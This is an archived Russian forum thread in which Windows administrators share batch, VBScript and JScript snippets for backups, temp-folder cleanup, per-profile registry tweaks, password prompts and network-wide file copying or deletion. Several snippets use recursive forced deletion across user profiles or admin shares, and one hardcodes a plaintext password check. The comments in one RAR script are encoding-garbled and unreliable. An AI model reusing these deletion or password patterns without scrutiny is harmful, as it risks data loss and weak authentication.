Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   Скриптовые языки администрирования Windows (http://forum.oszone.net/forumdisplay.php?f=102)
-   -   [архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов (http://forum.oszone.net/showthread.php?t=106528)

0bject 01-11-2005 16:17 369544

[архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов
 
Внимание!


В связи с созданием отдельного форума по скриптовым языкам, эта тема переводится в архивное состояние. Если у вас есть вопрос, создайте новую тему или поднимите существующую, если в ней обсуждается аналогичная проблема.

Пожалуйста, не создавайте тем с названием "Помогите!" или "Нужна помощь в написании батника". Это и так понятно :) Заголовок темы должен быть осмысленным.





Исходный вопрос участника
Всех приветствую.
Задача следующая: смотрим в в каталог (например d:\dir\*.*) и если в нем сущетвуют файлы возраст которых более 40 дней, то отправляем email на указанный адрес.

0bject 01-11-2005 16:26 369547

.. и сразу еще
Нужно из скрипта создать дерево каталогов такого вида "d:\bak\compname\25.06.2006\" то есть "d:\bak\имя_компьтера\текущая_дата\".
Пробывал так: >mkdir d:\bak\%hostname%\%date% -- результат отрицательный.

Igor_I 01-11-2005 21:36 369632

Лично я бы поставил PHP5 через phpactionscript.dll и писал бы на нем. Благо PHP малость знаем.
Может конечно кто знает, как это сделать попроще.

ShaddyR 02-11-2005 10:51 369775

0bject: идея ясна. Посоветую альтернативный вариант: воспользоваться программой резервного копирования данных. Такой софт делает все это гибче и имеет больше возможностей, чем бат-файл.

0bject 02-11-2005 11:35 369796

спасибо за дельные советы

0bject 03-11-2005 13:44 370079

дело в том что скрипт будет выполняться на клиентских машинах, поэтому его реализацию необходимо свести к использованию стандартных средств

0bject 03-11-2005 13:52 370081

получилось следующее:
Код:

@title ???????? Backup started ...
@echo on
@cls
@color 06
@echo =============================================================
@echo ==                                                        ==
@echo ==            Backups system for ????????????              ==
@echo ==        Created by Grigoriev Pawel aka 0bject          ==
@echo ==                mailto: ??????@mail.ru                  ==
@echo ==                                                        ==
@echo =============================================================
@echo .
@echo =============================================================
@echo ==================  Start preparation  ======================
@echo =============================================================
@rem color 08
@echo .
@echo -------------------------------
@echo --- Cleaning ...
@del d:\_backup\old\*.zip
@echo ------------- >> d:\_backup\backup.log
@echo start %date% %time% >> d:\_backup\backup.log
@echo cleaning %time% >> d:\_backup\backup.log
@echo -------------------------------
@echo --- Reservation old ...
@copy d:\_backup\*.zip d:\_backup\old\
@echo reservation %time% >> d:\_backup\backup.log
@echo -------------------------------
@echo --- Deletion ...
@del d:\_backup\*.zip
@echo deletion %time% >> d:\_backup\backup.log
@echo on
@cls
@color 06
@echo =============================================================
@echo =================  Start ??????? backup  ====================
@echo =============================================================
@echo off
@color 03
"C:\Program Files\7-Zip\7z.exe" a -tzip "d:\_backup\??????_%date%.zip" -r "d:\??????????\*.doc" "d:\????????\*.xls" "d:\??????\*.rtf" -mx0 -p????????
@echo ???????bak %time% >> d:\_backup\backup.log
@echo on
@cls
@color 06
@echo =============================================================
@echo =================  Start ??????? backup  ====================
@echo =============================================================
@echo off
@color 02
"C:\Program Files\7-Zip\7z.exe" a -tzip "d:\_backup\????????_%date%.zip" -r "c:\Program Files\???????\*" -mx0 -p??????????
@echo ????????? %time% >> d:\_backup\backup.log
@echo on
@cls
@color 01
@echo =============================================================
@echo ==================  Start ??????? backup  =====================
@echo =============================================================
@echo off
"C:\Program Files\7-Zip\7z.exe" a -tzip "d:\_backup\?????_%date%.zip" -r "d:\???????\*" -mx0 -p????????
@echo ????????? %time% >> d:\_backup\backup.log
net use t: /del /y
@echo ????????? %time% >> d:\_backup\backup.log
net use t: \\192.???.?.?\?????$ /user:???????? ?????????
@echo ???????? %time%>> d:\_backup\backup.log
del t:\melena\*.* /q
@echo startedcopytoserver %time%>> d:\_backup\backup.log
xcopy d:\_backup\*.* t:\?????\*.* /q /e /y
@echo deltempdisc %time% >> d:\_backup\backup.log
net use t: /del /y


Savant 03-11-2005 15:38 370105

0bject
Пропиши в начале @echo off , а в остальных местах echo (on/off) и собачек убери , а то от них галза разбегаются; echo с точкой пишется слитно.
зы: echo off никак не влияет на команду echo <строка> (в том плане , что перед ее использованием echo on не нужно)

Igor_I 03-11-2005 20:16 370181

Цитата:

дело в том что скрипт будет выполняться на клиентских машинах, поэтому его реализацию необходимо свести к использованию стандартных средств
Так бы сразу и сказал, и я бы не лез со своими глупыми идеями.

hasherfrog 04-11-2005 00:19 370229

Savant
Процитирую себя, любимого :]
>> 2) По поводу огромного количества @ в скриптах. Да, я знаю про echo on/off. Просто так легче отлаживать скрипты - убрал @ где нужно, посмотрел эхо, потом вернул @ на место. Писать echo on, потом убирать... В общем, кто знает, тот поймёт.

0bject 06-11-2005 13:14 370729

ок, мотаю на ус ..

lehha 10-11-2005 09:05 372154

2 0bject
Так же после создания бэкапа, можешь отправлять его почтой, только поставь the bat! у него полная поддержка командной строки в хелпе по нему все хорошо описано

0bject 29-11-2005 11:02 378421

Спасибо, почтой льются только логи. А вообще очень рекомендую всем сисадминам посетить sysinternals.com, там широкий спектр всевозможных (грамотных) консольных утилит.

MonsterMax SPB 06-12-2005 15:38 380444

как в локальной сетке при условии что я везде на машинах являюсь админом удалить определенные файлы? Естественно при наличии их там. Самое сложное для меня не найти и удалить файл а как в скрипте задать чтоб он по всей подсетке пробежался и покилял?

ShaddyR 06-12-2005 16:13 380460

Раз такой тем есть..)
Господа BAT-о-программеры, подскажите такой вопрос: хочу с помощью батника пробегаясь по папкам юзеров ОС (с:\Doc&Sett\<Имя_Пользователя>\..), делать в них определенные действия (напр., чистить ТЕМРы). Подскажете, как это реализовать?

MonsterMax SPB 06-12-2005 16:57 380474

ShaddyR а ты всем в профилях настрой чтоб темпы складывались в %homedrive%/temp и чисти ее :)

ShaddyR 06-12-2005 17:07 380479

MonsterMax SPB: не пойдет. Темп я привел для примера, задача о другом.

hasherfrog 06-12-2005 19:04 380515

ShaddyR
На одной машине? Я имею в виду, профиля локальные? тогда может... Там же можно получить список директорий Dir-ом, перебрать его For-ом, и не трогать Default-а и Administrator-а

lehha 07-12-2005 08:52 380631

MonsterMax SPB
Если есть домен то проблем не возникнет просто поставь батник в политику чтоб он выполнялся при загрузки компутеров пользователей.
ShaddyR
%userprofile% - это все равно что c:\Documents and Settings\<имя пользователя>\
%alluserprofile% - это c:\Documents and Settings\All Users\
соответственно потом берешь любую папку которую тебе надо
%alluserprofile%\Рабочий стол :))

lehha 07-12-2005 08:53 380632

а вообще ты сам можещь задать для всех компов в своей подсети свои переменные среды, которые тебе просто облегчат в дальнейшем жизнь)

MonsterMax SPB 07-12-2005 10:18 380654

lehha мне не надо всегда и каждый день мне надо периодически а то и вообще один раз.

ShaddyR 07-12-2005 10:45 380670

hasherfrog: локальные. В том то и дело - с ФОРом в ДОСе не знаком)
lehha: у меня десяток юзеров. Переменная ЮЗЕРПРОФАЙЛ содержит путь к папке юзера текущей сессии. ОЛЛЮЗЕРС есть оллюзерс, они мне не требуются).
По ходу, имена юзеров, а возможно и путь к папкам, вытаскивается из реестра тем же For'ом. Как?

lehha 07-12-2005 11:31 380685

ShaddyR
а может попробовать whs у него возможностей поболее будет и выглядеть будет это примерно так:
Код:

Dim fso, f, f1, fc, s
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set f = fso.GetFolder("c:\\Documents and Settings\\")
    Set fc = f.SubFolders
    For Each f1 in fc
      s = s & f1.name 
      s = s & CHR(10)
    Next 
  s = s & "Всего папок: " & fc.Count  WScript.Echo s

Вот простой скриптик переберающий все папки в документс энд сетингз. Сохрани его с расширением vbs и перебирай все что угодно

ShaddyR 07-12-2005 11:44 380691

lehha: tnx. Но нужен БАТовский скрипт, по нескольким причинам. При большом желании можно и на ДЕЛЬФИях напрограммить, это как раз не есть проблема)

lehha 07-12-2005 11:56 380696

сделай Пуск->Выполнить->cmd
набери help for на сколько я понял for может обробатывать строки других команд т.е. он вполне может обработать Dir ))

hasherfrog 07-12-2005 16:01 380778

Код:

c:
cd "Documents and Settings"
for /d %i in (*) do echo %i

Внутри батника будет ещё дополнительный %

ShaddyR 07-12-2005 19:31 380843

Готово!
Привожу полученный результат:
Основной БАТ-файл
Код:

@echo off
cls
for /f "usebackq delims==" %%i in (`"dir "%systemdrive%\Documents and Settings" /ad /b"`) do call clr.bat "%%i"
echo Ok
pause

Вспомогательный (собсно, подпрограмма обработки)
Код:

@echo off
IF EXIST "%systemdrive%\Documents and Settings"\%1"\Application Data\Microsoft\Internet Explorer\Quick Launch" goto clear
echo Skipped: %1
goto exit
:clear
rd /s /q "%systemdrive%\Documents and Settings"\%1\"Local Settings\Temporary Internet Files"
md "%systemdrive%\Documents and Settings"\%1\"Local Settings\Temporary Internet Files"
rd /s /q "%systemdrive%\Documents and Settings"\%1\"Local Settings\Temp"
md "%systemdrive%\Documents and Settings"\%1\"Local Settings\Temp"
echo Cleared: %1
 
:exit

Пришлось поразбираться с хелпом, малость вспомнить DOS. Спасибо всем, особенно hasherfrog и lehha.
ЗЫ: Для тех, кому влом разбираться в коде - первый bat-файл перебирает все папки по пути
Код:

СистемныйДиск:\Documents and Settings\
и каждую из найденых папок последовательно передает во второй bat-файл. Задача второго - при наличии в переданной папке
(путь тот же) папки Temp[orary Internet Files] очистить и ту и другую.
Примечания:
1) используемые в данный момент файлы удалены не будут
2) Касперский так разнервничался в процессе - еле успокоил его ;)

ЗЗЫ:
hasherfrog : С пол-часа пытался понять, почему систему так удивляет %i )))
Цитата:

В пакетных файлах для команды FOR используется запись %%переменная вместо
%переменная.

hasherfrog 07-12-2005 20:44 380855

ShaddyR, знаете, Вы поосторожнее только.
1. В 9х-виндах у FOR не совсем такие ключи, как в 2000-х.
2. Обратите внимание на то, что директория создаётся от имени... кого? Админа? А что скажет винда юзеру на такой финт: у него в хоуме лежит... оба-на... админская директория? Может быть, ниего страшного и нет, впрочем. Но я бы сделал рекурсивное удаление содержимого директории, но не самой директории с её последующим восстановлением. Ну, впрочем, проверяйте. на FAT32-дисках, ЕМНИП, разницы никакой не будет.

до кучи: ставьте по возможности firefox последний, там есть плагин специально для удаления всего "личного" барахла прямо на выходе из браусвера. впрочем, это я так, до кучи...

lehha 08-12-2005 08:05 380965

hasherfrog
на сколько мне извесно директория с профилями прльзователей т.е. Documents and Settings есть ток на системах от win2000, так что кусок это кода
Код:

IF EXIST "%systemdrive%\Documents and Settings"\%1\"Local Settings\Temporary Internet Files"
echo Skipped: %1
goto exit
.
.
.
.


:exit

скажет все сам за себя) это я на счет выполнения скрипта на 9х системах ))

ShaddyR 09-12-2005 13:30 381339

обновил код обработчика в предыдущем посте - теперь проверка делается по наличию QuickLaunch'а, которого у сервисных папок просто не существует :) Это если кому-нить с какого-нить перепугу эта самоделка пригодится.

ЗЫ: понраилось вошкаться с BAT-ом... на основе вышеозначенного скрипта сделал скрипт для использования каждым юзером собственной конфигурации TotalCommander'a. Могу поделиться, коли кто желает.

serge_a 14-01-2006 21:14 392406

помогите с помощью БАТника создать папку с именем, содержащим сегодняшнюю дату (например "backup_14.01.06") и скопировать в неё содердимое другой папки, идеальный вариант- если при этом ещё удастся предварительно упаковать это содержимое(но это не так важно). заранее благодарен

Savant 16-01-2006 12:16 393008

serge_a
Я уже довольно давно пользуюсь на 2к3 сервере следующим скриптом (код. стр. 866)
Код:

@cls
 
@rem ‘ЄаЁЇв аеЁў жЁЁ д ©«®ў %SOURCE% Ї®б।бвў®¬ аеЁў в®а RAR , гбв &shy;®ў«Ґ&shy;&shy;®Ј®
@rem ў Ї ЇЄг %RAR%. ‚ %DEST% Ўг¤Ґв ᮧ¤ &shy; аеЁў ў д®а¬ ⥠%NAME%%DATETIME%.rar .
@rem %PACK_LVL% § ¤ Ґв б⥯Ґ&shy;м б¦ вЁп , ®в 0 ¤® 5 (0 = ЎҐ§ б¦ вЁп, 5 = ¬ Єб) .
@rem Ѓг¤Ґв ¤®Ў ў«Ґ&shy; Ё&shy;д®а¬ жЁп ¤«п ў®ббв &shy;®ў«Ґ&shy;Ёп Ё аеЁў Ўг¤Ґв § Ў«®ЄЁа®ў &shy;
@rem ®в Ё§¬Ґ&shy;Ґ&shy;Ё©.
@rem Script code updated : 26.11.2005
 
@set "SOURCE=C:\my important data\*.*"
@set "DEST=D:\my backup data"
@set "RAR=%PROGRAMFILES%\WinRAR"
@set "NAME=backup_"
@set "DATETIME=YYYY.MM.DD-HH;MM;SS"
@set "PACK_LVL=5"
 
@"%RAR%\rar" a "-ag%DATETIME%" -idc -k -m%PACK_LVL% -oc -os -ow -r -rr3p "%DEST%\%NAME%" "%SOURCE%"

Требуется rar/winrar . Создается не папка, а архив папки. В принципе для ввода текущей даты куда-либо можно использовать глобальную переменную %DATE% , например md backup_%DATE% . Подробнее см. справку команды set

MonsterMax SPB 16-01-2006 13:32 393043

Savant супер! А еще с синтаксисом 7zip плиз :)

MC_Dimka 07-02-2006 14:19 404037

Помогите написать *.bat для запуска программы после ввода пароля, и ввод пароля не должен отображатса....
и желательно чтоб пароль брался из файла. :help:

hasherfrog 08-02-2006 08:46 404284

MC_Dimka
>> и желательно чтоб пароль брался из файла
Применительно к BAT - Секьюрность очень уж маленькая.
Лучше всё-таки бинарник скомпилить.

Vadikan 08-02-2006 10:35 404318

Куда-то исчезло окно в котором я писал, так что напечатаю еще раз. Я и не знал (или забыл), что такая тема есть, а то давно бы уже спросил. Есть скрипт у меня недоделаный для импорта пользовательских (HKCU) настроек во все локальные профили после установки системы. Слепил я его на основе того, что мне прислал один из участников конференции
Код:

@echo off
:: Get the profiles directory from the registry
for /f "usebackq tokens=3,3* delims==        " %%i in (`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /v ProfilesDirectory`) do set profiles=%%i
:: Set the profiles dir as %profiles%
for /f "usebackq delims==" %%i in (`echo %profiles%`) do set profiles=%%i

::For all folders (usernames) in the profiles dir except for the All Users (and %Username% - ???)
:: load the profile hive into HKU\Custom and import the tweak.

:: помимо папки All Users надо исключить еще и %USERNAME%, т.к. его профиль не подгрузишь - он занят
:: ну он просто ошибку выдает, но некрасиво как-то :)
for /f "usebackq tokens=1,1* delims==" %%i in (`dir /b "%profiles%"`) do (
 if /i "%%i" neq "All Users" (
  reg load HKU\custom "%profiles%\%%i\NTUSER.DAT"
  regedit /s tweak.reg       
  reg unload HKU\custom
  )
)

pause
exit

Значит находим папку с профилями, берем оттуда названия папок (usernames) и для каждого кроме All Users (if /i "%%i" neq "All Users") загружаем NTUSER.dat и импортируем твик. Но при таком переборе свой профиль не загрузишь, т.к. он используется. Попытка импорта в него выдает ошибку. И хотя скрипт и продолжает отработку, как-то некрасиво :)

Можно как-то сформулировать два условия сразу: если значение не равно All Users или не равно %username%, то выполняем скрипт дальше.

MC_Dimka 13-02-2006 14:54 406112

hasherfrog
Цитата:

Секьюрность очень уж маленькая.
да мне все равно какая секьюрность....хоть скажите как зделать чтоб при вводе символов они не отображались (или были ****))

amel27 14-02-2006 04:51 406255

Цитата:

Цитата Vadikan
Можно как-то сформулировать два условия сразу: если значение не равно All Users или не равно %username%, то выполняем скрипт дальше.

можно например так... если конечно я правильно понял:
Код:

For /F "usebackq tokens=* delims==" %%i in (`DIR /B /AD-H-S "%profiles%" ^| FINDSTR /V /B /I /C:"All Users" /C:"%username%"`) DO (
...
)

З.Ы. хорошо бы еще и reg-файл не редактировать... :search:

amel27 14-02-2006 08:57 406286

Цитата:

Цитата MC_Dimka
да мне все равно какая секьюрность....хоть скажите как зделать чтоб при вводе символов они не отображались (или были ****))

Для XP/2003 можно сделать на WSH. Например, текст start.vbs:
Код:

Set objPWD = CreateObject("ScriptPW.Password")
Set objWSH = CreateObject("WScript.Shell")
 
WScript.StdOut.Write "Please enter your password:"
strPassword = objPWD.GetPassword()
 
If strPassword = "password" Then
        objWSH.Run ("notepad")
End If

запуск:
Код:

cscript start.vbs

MC_Dimka 14-02-2006 13:55 406388

amel27
Чет нече не запускает...:(

amel27 15-02-2006 03:54 406636

MC_Dimka

Должно работать, может пароль неверный?.. ;)

MC_Dimka 15-02-2006 16:50 406902

amel27
я его вобще не могу запустиь..:(

Vadikan 16-02-2006 05:09 407072

amel27
Спасибо, я попробую на досуге. Хотя, вы уже наверное попробовали самостоятельно :) Рег файлы не редактировать не получится. Т.е. даже если и есть решение, то оно будет сложнее чем два файла. Если б INF был, то там можно было бы наверное пытаться что-то накрутить. Но опять же, если есть HKCU файл, то из него сделать еще один для HKU\custom - дело пары секунд.

amel27 16-02-2006 07:00 407088

MC_Dimka

Какая ошибка? Возможны варианты: например не установлен WSH 5.6 (что маловероятно), или намудрили с безопасностью и выполнение скриптов заблокировано. Попробуйте простой vbs-скрипт запустить через wscript/cscript:
Код:

WScript.Echo "Hello"

MC_Dimka 16-02-2006 14:19 407224

amel27
=.vbs(1, 1) Microsoft VBScript runtime error: ActiveX component can'
t create object: 'ScriptPW.Password'

amel27 16-02-2006 17:25 407295

Понятно, COM-объект не найден. Точно такая же ошибка будет на Win2K т.к. там его и нету... Где-то перетвикали, XP случаем не через nLite ставили? Попробуйте найти одноименный scriptpw.dll и перерегистрировать.

MC_Dimka 16-02-2006 19:04 407329

amel27
Цитата:

XP случаем не через nLite ставили?
Случаем....:)
Цитата:

scriptpw.dll и перерегистрировать
перерегистрировал..:))
Все работает СПАСИБО!!,

Zauber 17-05-2006 19:57 439165

Уважаемые форумчане!
Хочу обсудить создание BAT файла, помогающего в установке системы под NTFS.
Цель: создать BAT файл, который бы по возможности максимально полно очищал системные папки перед повторной установкой системы. В конечном итоге BAT должен удалять всё что только можно удалить в папках Documents and Settings\, Program Files\, WINDOWS\. Причём необходимо учесть скромные возможности "Консоли восстановления". Никаких вспомогательных программ или методов использоваться не должно.
Проблемы: всем кто сталкивался с NTFS известно, что для более/менее полноценной работы с диском нужна либо ОС, либо "Консоль восстановления", либо утилиты наподобае NTSFDOS Pro.
Т.к. цель не использовать доп. утилиты (ограничиться максимум установочным CD диском Windows), то можно:
1. Зайти в "Консоль восстановления" с правами админа;
2. Запусить пакетный файл с командами:
SET AllowAllPaths = TRUE
SET AllowWildCards = TRUE
SET AllowRemovableMedia = TRUE
и циклом автоматической обработки папок.
Вам известно, что команда RD не удаляет папку если в ней есть файлы, команда DELETE не удаляет файлы к которым нет прав доступа. Это тоже нужно учесть в цикле обработки, иначе всё застопорится при этих ситуациях.
Помогите pls написать соответствующий BAT файл.

Anton04 19-06-2007 10:52 601166

Vadikan

Прокомментируй пожалуйста свой скрипт?

Вот это:

@echo off
:: Get the profiles directory from the registry
for /f "usebackq tokens=3,3* delims== " %%i in (`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /v ProfilesDirectory`) do set profiles=%%i
:: Set the profiles dir as %profiles%
for /f "usebackq delims==" %%i in (`echo %profiles%`) do set profiles=%%i

всё понятно, создаётся переменная соответствующая %SYSTEMDRIVE%\Documents and Settings (короче папке где лежат все профили).

а дальше ну одни вопросы...

for /f "usebackq tokens=1,1* delims==" %%i in (`dir /b "%profiles%"`) do (
if /i "%%i" neq "All Users" (

я так понял что исключается папка All Users в профильской директории. Да!?

reg load HKU\custom "%profiles%\%%i\NTUSER.DAT"

Непонятно зачем загружается/копируется, в реестр да и к тому же в ветку "custom", всё что есть в HKU данного пользователя!?

regedit /s tweak.reg

Ну это то применяется собственно твик, а где он должен тогда лежать?

reg unload HKU\custom

Хм... ну это выгружается ветка реестра "custom", но не понятно зачем она вообще нужна!?

P.S. За ранее блогадарен за любые комментарии.
P.S.S. Собственно, если ещё кто может прокомментировать этот скрипт милости прошу... ;-)

Vadikan 19-06-2007 23:20 601527

Anton04
Цитата:

я так понял что исключается папка All Users в профильской директории. Да!?
Да.
Цитата:

Непонятно зачем загружается/копируется, в реестр да и к тому же в ветку "custom", всё что есть в HKU данного пользователя!?
Чтобы выполнить импорт параметров реестра в этот раздел. При этом нбх учитывать, что если задумывется импорт в HKEY_CURRENT_USER\Control Panel\Desktop, в файле твиков путь должен быть HKU\Custom\Control Panel\Desktop
Цитата:

Ну это то применяется собственно твик, а где он должен тогда лежать?
Где угодно. В данном случае он лежит в одной папке с пакетным файлом.
Цитата:

Хм... ну это выгружается ветка реестра "custom", но не понятно зачем она вообще нужна!?
См. выше.

Anton04 21-06-2007 13:06 602233

Vadikan

Чё то я совсем туплю... :swoon:

Значит у нас получаеься так: копируется вся ветвь реестра HKU (текущего пользователя) в HKU\Custom - да?
Потом применяется файл реестра (в виде файла tweak.reg) с нужными мне настройками (ну например там прописаны настройки HKU\Custom\Control Panel\Desktop).
Так и имеем мы значит ветку реестра HKU\custom где содержится вся ветка реестра HKU (от текущего пользователя)+применённый (по верх) трик. :blink:

А как у нас тогда осуществляется обратный процесс? для нового пользователя? как подзагрузить нужные нам настройки? Этот скрип же не рассматривает этот вопрос... :help:

Vadikan 21-06-2007 20:41 602450

Anton04
Цитата:

А как у нас тогда осуществляется обратный процесс?
Что значит обратный процесс? После импорта твиков ветка выгружается.
Цитата:

для нового пользователя? как подзагрузить нужные нам настройки?
Профиль нового пользователя создается на основе профиля Default User, который в свою очередь обрабатывается скриптом точно так же, как и все остальные профили в папке "ProfilesDirectory"

amel27 22-06-2007 07:15 602548

Anton04

- HKU и HKCU это разные ветки;
- наводящий вопрос: как применить твик ко всем пользователям компьютера (ветка HKCU)?

Vadikan 22-06-2007 09:06 602573

amel27
Благодар за комментарий. Я не заметил, что Anton04 путает эти два раздела
Цитата:

(ну например там прописаны настройки HKU\Custom\Control Panel\Desktop).
Так и имеем мы значит ветку реестра HKU\custom где содержится вся ветка реестра HKU (от текущего пользователя)
Anton04
Думаю, что вам не повредит прочтение статьи Твики реестра и Описание реестра Microsoft Windows заодно прочтите.

Anton04 22-06-2007 10:30 602607

amel27

Блин... точняк спутал, признаю, запарился совсем, каюсь :sorry: :blush2:

Vadikan

Спасибо за наставления. :patsak:

Дальше разберусь сам...

namesash 10-07-2007 11:52 610883

Подскажите пожайлуста можно ли в батнике указать выбор даты, чтобы юзер подставлял дату...что-то типа диалогового окна и команда выполнялась с учётом выбранной даты?.....команда такого вида: c:\pcmaster\drv32\tfrema /Manual /File=C:\transact.qdx /ExtractFolder=c:\store\transferxml\imp /BusinessDate=20070323..........где 20070323 соответственно и есть дата.

amel27 11-07-2007 10:07 611365

если без всяких преобразований, то присвоить значение переменной:
Код:

@echo off
SET /P DATE="Введите дату (ГГГГММДД):  "

ECHO %DATE%


V0van3 18-09-2007 02:29 645322

0bject
вот пример скрипта который пробегает по включённым машинам домена и раскидывает/удаляет файлы (можно делать и другие действия)

Код:

@rem Скрипт определяет все компьютеры сети и позволяет переписать/удалить файл на всех машинах в 1 месте
@rem Copywrite by Vovan[CAD]

@rem файл который нужно разбросать по машинам (с полным путём)
set sourcefile=o:\PDFFactory\GdiPlus.dll
@rem локальный путь на машинах куда надо положить файл (на конце должен быть \)
set DestinationPath=c$\progra~1\skype\
@rem удаляем старый лог если есть
if exist result.txt del result.txt

@rem Записываем список машин в сети в файл
set listfile=hosts.txt
net view /domain:test > %listfile%

@rem переменной %%i поочерёдно присваевается значение первого токена в каждой строке файла
for /f "tokens=1" %%i in (%listfile%) do call :procedure %%i

@rem procedure выполняется на каждой машине из списка
:procedure
@rem дописываем в лог имя машины
@echo %1 >>result.txt
if exist %1\%DestinationPath% pause
rem copy %sourcefile% %1\%DestinationPath% >>result.txt
rem del %1\%DestinationPath%\test.txt
exit /b

а вот мой вариант удаления только вложенных подпапок (удалить всю папку нельзя - нужно чтобы права на общую папку не полетели)
а учитывая что
del /Q/S/F %destination%\*.*
не задевает подпапки

Код:

@rem удаляет все подпапки с содержимым в заданной папке; файлы лежащие непосредственно в этой папке остаются
@rem copywrive by Vovan[CAD]

@rem параметр - полный путь к обрабатываемой папке без слэша вконце
@rem проверка что параметр задан
if %1*==* goto NOPARAM

set listfile=Spisok.txt
set workdisk=%~d1
set workdir=%1
set curpath=%~dp0
set curdisk=%~d0
@rem переходим в рабочую папку
%workdisk%
cd %workdir%
@rem записывает имена подпапок содержащихся в папке в файл %listfile%
@rem параметры по умолчанию для dir задаются в переменной DIRCMD
dir /b /a:d /o:ge >%listfile%
@rem для каждой папки из списка вызываем функцию её удаления с содержимым
for /f "tokens=*" %%i in (%listfile%) do call :deldir "%~1\%%i"
@rem удаляем файл-список
del %listfile%
@rem возвращаемся в текущую папку
%curdisk%
cd %curdir%
goto end

@rem функция удаляющая папку с вложенными файлами и подпапками
:DELDIR
if exist %1 del /Q/S/F %1
if exist %1 rmdir /Q /S %1
exit /b

@rem запуск без параметров
:NOPARAM
@echo off
cls
echo Параметры командной строки:
echo %0 полный путь к обрабатываемой папке без слэша вконце в двойных кавычках!
pause
goto end
:END

может кому-то пригодятся

Lihonosov 10-10-2007 12:56 657646

Помогите написать bat файл
 
Нужно написать батник, который брал бы все файлы с определенным расширением и переименовывал бы их (новое имя файла должно быть датой и временем его создания).

DJ Mogarych 10-10-2007 15:11 657728

А батник-то зачем? Это нужно делать регулярно, по расписанию?
Может быть, Renamer подойдёт?

Sham 10-10-2007 15:25 657740

WSH не катит?

Lihonosov 10-10-2007 17:32 657827

Цитата:

Цитата DJ Mogarych
А батник-то зачем? Это нужно делать регулярно, по расписанию?
Может быть, Renamer подойдёт? »

Цитата:

Цитата Sham
WSH не катит? »

Что такое WSH не знаю.

Объясняю зачем. Может это глупо, но ничего другого пока-что в голову не лезет.
Использую виндошную службу факсов для отправки и получения факсов.
Она факсам, которые получает дает им имена: 4dcf374a00.tif..., т.е. не читабельны и ищи который пришел последний. Бат файл хочу чтобы запускался каждый раз когда пользователь заходит в папку (пропишу авторан) и переименовывал все файлы.
Понимаю что решение неправильное с точки зрения если будет много файлов,то переименовование всех может занять много времени.

Подскажите если знаете решение моей ситуации.
Заранее благодарен.

Sham 10-10-2007 21:22 657936

запостил в ту тему, но хрен теперь ее найдешь... поэтому дублирую...
Lihonosov,
Вот например:
Код:

// путь к папке (слеши дублируются)
var path = "C:\\PATH\\TO\\FOLDER\\";
       
var fso, f, fc, new_name, file, DateObj, str;
fso = new ActiveXObject("Scripting.FileSystemObject");
f = fso.GetFolder(path);
fc = new Enumerator(f.files);
for (; !fc.atEnd(); fc.moveNext())
{
        if (/\.tif$/i.test(fc.item()))
        {                       
                file=fso.GetFile(fc.item());
                DateObj = new Date(file.DateCreated);
                str = DateObj.toUTCString().replace(/[\,\.\\\:\s\'\"\/\(\)]+/gi,"-");
                new_name = str+"-"+file.size+".tif";
                if (!fso.FileExists(path+new_name)) // уже есть такой
                {
                        file.Name=new_name;
                }                       
        }
}

сохраняешь как name.js и запускаешь либо из ком.строки
Код:

wscript name.js
либо просто щелкнув файлик в винде (или через меню)...

nosferaty 07-11-2007 13:41 674155

А не подскажет ли кто как в батнике (cmd файле) сформировать текущую дату в виде гггг.мм.дд без участия пользователя?

нашел материальчик
http://www.osp.ru/pcworld/2006/07/2665464/_p1.html
но не работает :(

ругается
Код:

Непредвиденное появление: /f"tokens=2-4 delims=./-"%f.

amel27 08-11-2007 04:53 674592

nosferaty
не хватает пробелов, и с "tokens" там чего-то не то... должно быть примерно так:
Код:

@echo off
for /f "tokens=1-3 delims=./-" %%f in  ("%date%") do (
        set today_=%%h.%%g.%%f
)

echo %today_%

этот вариант зависит от настроек локализации в профиле, для универсального смотри ветку:
[решено] Как сделать,что б батник проверял число ?

Rock 26-11-2007 21:28 685776

Как пишется cmd/
Задача Нужно чтоб выводилось окно с реальным IP
Как я понимаю команда IPconfig

ShaddyR 26-11-2007 21:39 685781

Rock, если я правильно понял вопрос - так:
cmd /k ipconfig /all

Rock 27-11-2007 06:02 685885

ShaddyR, Благодарю! Всё получилось :oszone: :yahoo:
А где можно почитать на будущее сам принцип написания?

ShaddyR 27-11-2007 10:45 685964

Цитата:

Цитата Rock
А где можно почитать на будущее сам принцип написания? »

да в обсчем-то, все просто:
1) подсистема помощи Windows
2) очень полезная опция есть у консольных программ и комманд ДОСа - "/?", "/h", "/help" - вывод описания и параметров команды
3) "Для получения сведений об определенной команде наберите HELP <имя команды>"
4) интернет - содержит ВСЕ сведения обо всем.. только надо знать, как спросить ;)

DJ Mogarych 27-11-2007 12:42 686053

Цитата:

Цитата Lihonosov
ищи который пришел последний. »

Отсортируйте по времени создания, и все дела.

Evgel 28-11-2007 12:07 686574

Вопрос может не по теме. Есть bat(cmd)-файл, в котором через команду copy (или xcopy) копируются большие файлы по сети с одного сервера на другой. Но почему-то это происходит раз в 10 медленнее, чем если бы эти же файлы копировать вручную. Можно ли как-то ускорить этот процесс? Или есть какие-нибудь другие команды для копирования по сети?

DJ Mogarych 28-11-2007 15:13 686697

Код командного файла — в студию!

Evgel 28-11-2007 16:02 686725

Вот код...
Код:

rem %1 путь к базе данных на основном сервере
rem %2 путь к базе данных на запасном сервере
rem %3 путь к исполняемым файлам cache на основном сервере

if not exist %1\cache.lck goto 1
%3\css.exe stop CACHE
:2
if exist %1\cache.lck goto 2
:1
cd %2
:3
if exist %2\cache.lck goto 3
if exist %2\cache1.dat del %2\cache1.dat
ren %2\cache.dat cache1.dat
xcopy %1\cache.dat %2\*.* /z /y
cd %1
%3\css.exe start CACHE


Evgel 28-11-2007 16:31 686738

Собственно здесь всего одна строка отвечает за копирование:
Код:

xcopy %1\cache.dat %2\*.* /z /y
Остальное - это остановка сервера БД CACHE, иначе не даст скопировать. Т.к. не известно сколько он будет останавливаться, то проверяется наличие файла журнала, который должен исчезнуть после остановки сервера.

skatet 28-11-2007 16:32 686739

:) Всем привет!
Сорри, пока чуток занят очень даже в инет выйти не могу, времени нет, но Огромное Всем Спасибо за реальные интересные идеи. Пока мне предложили такой вариант:
